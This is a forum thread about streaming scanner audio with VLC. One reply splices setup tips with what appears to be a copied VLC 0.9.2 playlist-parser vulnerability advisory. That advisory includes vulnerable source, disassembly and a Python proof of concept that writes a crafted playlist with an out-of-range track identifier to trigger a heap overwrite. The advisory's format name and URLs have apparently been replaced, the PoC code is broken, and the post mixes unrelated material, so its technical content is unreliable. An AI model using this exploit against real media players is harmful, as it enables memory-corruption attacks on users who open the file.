VLC Player for streaming

Listen to radios & scanners over the internet with live streaming, this forum has status updates and general listener support
Post Reply
User avatar
bodyguard
Registered User
Posts: 1210
Joined: Fri Aug 31, 2007 7:54 pm
Location: Brisbane, QLD

VLC Player for streaming

Post by bodyguard »

Just to let all the budding streamers out there, that you can use VLC player as a streaming server.
It works very well with about 1 1/2 secs delay while it encodes.
I have spent the last week trying to get it going and last night I had success :)
Cheers
BG


UBC9000XLT, UBCT8, BCT15X, UBC92XLT, Kenwood R-5000, PSR-410 , KG-UVD1P
User avatar
sgannon02
Registered User
Posts: 33
Joined: Mon Dec 29, 2008 6:40 pm
Location: Caloundra, Queensland

Re: VLC Player for streaming

Post by sgannon02 »

Any tips on how to set it up?

Would be interested to hear :D
--
UBC780XLT | UBCT8 | UBC330CRS | UBC72XLT | ICOM-AH7000 Discone | 1 x homebrew VHF Dipole | 1 x homebrew UHF Dipole

More to come!
User avatar
Switch Team
Registered User
Posts: 13
Joined: Sat Mar 27, 2010 9:42 am

Re: VLC Player for streaming

Post by Switch Team »

VLC Scanning & streaming ....

First you have to create a port & have software - to do this directly through VLC please read the comments below.

Windows Media Encoder 9 Series
Download the 32-bit version of Windows Media Encoder 9 Series for Windows 2000 and Windows XP.

Windows Media Encoder x64 Edition 9 Series
Download the 64-bit version of Windows Media Encoder 9 Series for Windows Server 2003, Windows XP Professional x64 Edition, and Windows Vista.

http://www.microsoft.com/windows/window ... fault.aspx

or BroadWave Streaming Audio Server

The windows 9 encoder is for fun and can take really no time to setup unless you want to link this to your website

You will need to code through & link scanner to windows 9 first and then upload to FTP server the file that you have created.

........................................................

Example wanting to Stream UHF over the internet - what the code in windows 9 should look like below !!!!

http://live01.switchbanks.com:8000/listen.pls

This is done via a windows live stream program Media Encoder.

VLC media player has support for the XML-based Switch scanning stream format that goes on behind the scene's for streaming on your broadband account - most programs allow a 30 per visit - so this means if you exceed 30 - then nobody else can listen at which does not take long to hit that limit.

Everyone has different area's of data stream - radio reference etc ..... google this for a host that can perfom and hold the data stream for you.

If you have a website then you can do this easier - ie. Scanner = windows = upload - and then link via back to your own program via your website - or direct source of the stream code.


Switchbanks WINDOWS CODE FOR Audio colour wave source code linked to a file
<object
classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6"
type="application/x-oleobject" width="96%" height="126" id="mediaplayer">
<param name="url" value="http://www.switchbanks.com.au/Flash/liv ... listen.pls">
<param name="sendplaystatechangeevents" value="true">
<param name="animationatstart" value="true">
<param name="transparentatstart" value="true">
<param name="autostart" value="false">
<param name="enablecontextmenu" value="true">
<embed src="http://www.switchbanks.com.au/Flash/liv ... listen.pls" width="392" height="126" type="application/x-mplayer2" xheight="60">
</embed> </object>

Now to VLC....................

When you open VLC you first hit MEDIA - OR CAPTURE DEVICE

Then STREAMING - find your file and connect

Vulnerable Systems:
* VLC media player version 0.9.2

Immune Systems:
* VLC media player version 0.9.3 (no official binary files available for Windows platform)
* VLC media player version 0.9.4

THIS IS WHAT HAPPENS IN THE BACKEND OF THE STREAM

/-----------

<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://switchbanks.com.au/ns/0/">
<title>Sample playlist</title>
<location>C:\my-playlist.switchbanks</location>
<trackList>
<track>
<identifier>0</identifier>
<location>http://live01.switchbanks.com:8000/listen.pls </location>
<extension application="http://www.videolan.org/vlc/playlist/0">
</extension>
<duration>239099</duration>
</track>
<track>
<identifier>1</identifier>
<location>http://live01.switchbanks.com:8000/listen.pls </location>
</track>
<track>
<identifier>2</identifier>
<location>http://live01.switchbanks.com:8000/listen.pls </location>
</track>
</trackList>
<extension application="http://www.videolan.org/vlc/playlist/0">
<item href="0" />
<item href="1" />
<item href="2" />
</extension>
</playlist>

-----------/

VLC media player's Switch playlist format parser ('demux/playlist/switch.c) does not properly perform bounds-checking before using the 'identifier' attribute value to index an array on the heap to write data on it.

In the first place, the parser reads the 'identifier' attribute of a track and converts its value to 'int' type using the 'atoi' function from the standard C library, and saves it to the 'i_identifier' field of a 'demux_sys_t' structure:

/-----------

575 else if( !strcmp( p_handler->name, "identifier" ) )
576 {
577 p_demux->p_sys->i_identifier = atoi( psz_value );
578 }

-----------/

After that, at lines 501-502, the parser compares 'i_identifier' with 'i_tracklist_entries'. This last field is a counter that holds the number of tracklist entries that were successfully parsed at the moment.

If 'i_identifier' is less than 'i_tracklist_entries', the value of 'i_identifier' is used to index the 'pp_tracklist' array, and 'p_new_input' is written on that position (at line '505').

/-----------

501 if( p_demux->p_sys->i_identifier <
502 p_demux->p_sys->i_tracklist_entries )
503 {
504 p_demux->p_sys->pp_tracklist[
505 p_demux->p_sys->i_identifier ] = p_new_input;
506 }

-----------/

Since the Switch parser does not perform bounds-checking before indexing the array to write on it, and having 'i_identifier' fully controlled by the user, an attacker may overwrite almost any memory address with 'p_new_input'.

This is the disassembled vulnerable code:

/-----------

70246981 . 39C2 CMP EDX,EAX ; i_identifier < i_tracklist_entries?
70246983 . 7D 29 JGE SHORT libplayl.702469AE
70246985 . 8B2B MOV EBP,DWORD PTR DS:[EBX] ; EBP = pp_tracklist = 0
70246987 . 8B7C24 44 MOV EDI,DWORD PTR SS:[ESP+44] ; EDI = p_new_input
7024698B . 897C95 00 MOV DWORD PTR SS:[EBP+EDX*4],EDI ; Saves p_new_input in pp_tracklist[i_identifier]

-----------/

Switch_file_content = '''
<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://switchbanks.com.au/ns/0/">
<title>Switch PoC</title>
<location>http://live01.switchbanks.com:8000/listen.pls</location>
<trackList>
<track>
<identifier>-1873768239</identifier>
<location>http://live01.switchbanks.com:8000/listen.pls </location>
<extension application="http://www.videolan.org/vlc/playlist/0">
</extension>
<duration>239099</duration>
</track>
</trackList>
<extension application="http://www.videolan.org/vlc/playlist/0">
<item href="0" />
</extension>
</playlist>
'''

crafted_Switch_file = open('playlist.Switch,'w')
crafted_Switch_file.write(xspf_file_content)
crafted_Switch_file.close()

In other words use VLC for only listening & never streaming online - think i have confused myself with this one :-)

Thanks everyone !!!!!!
Post Reply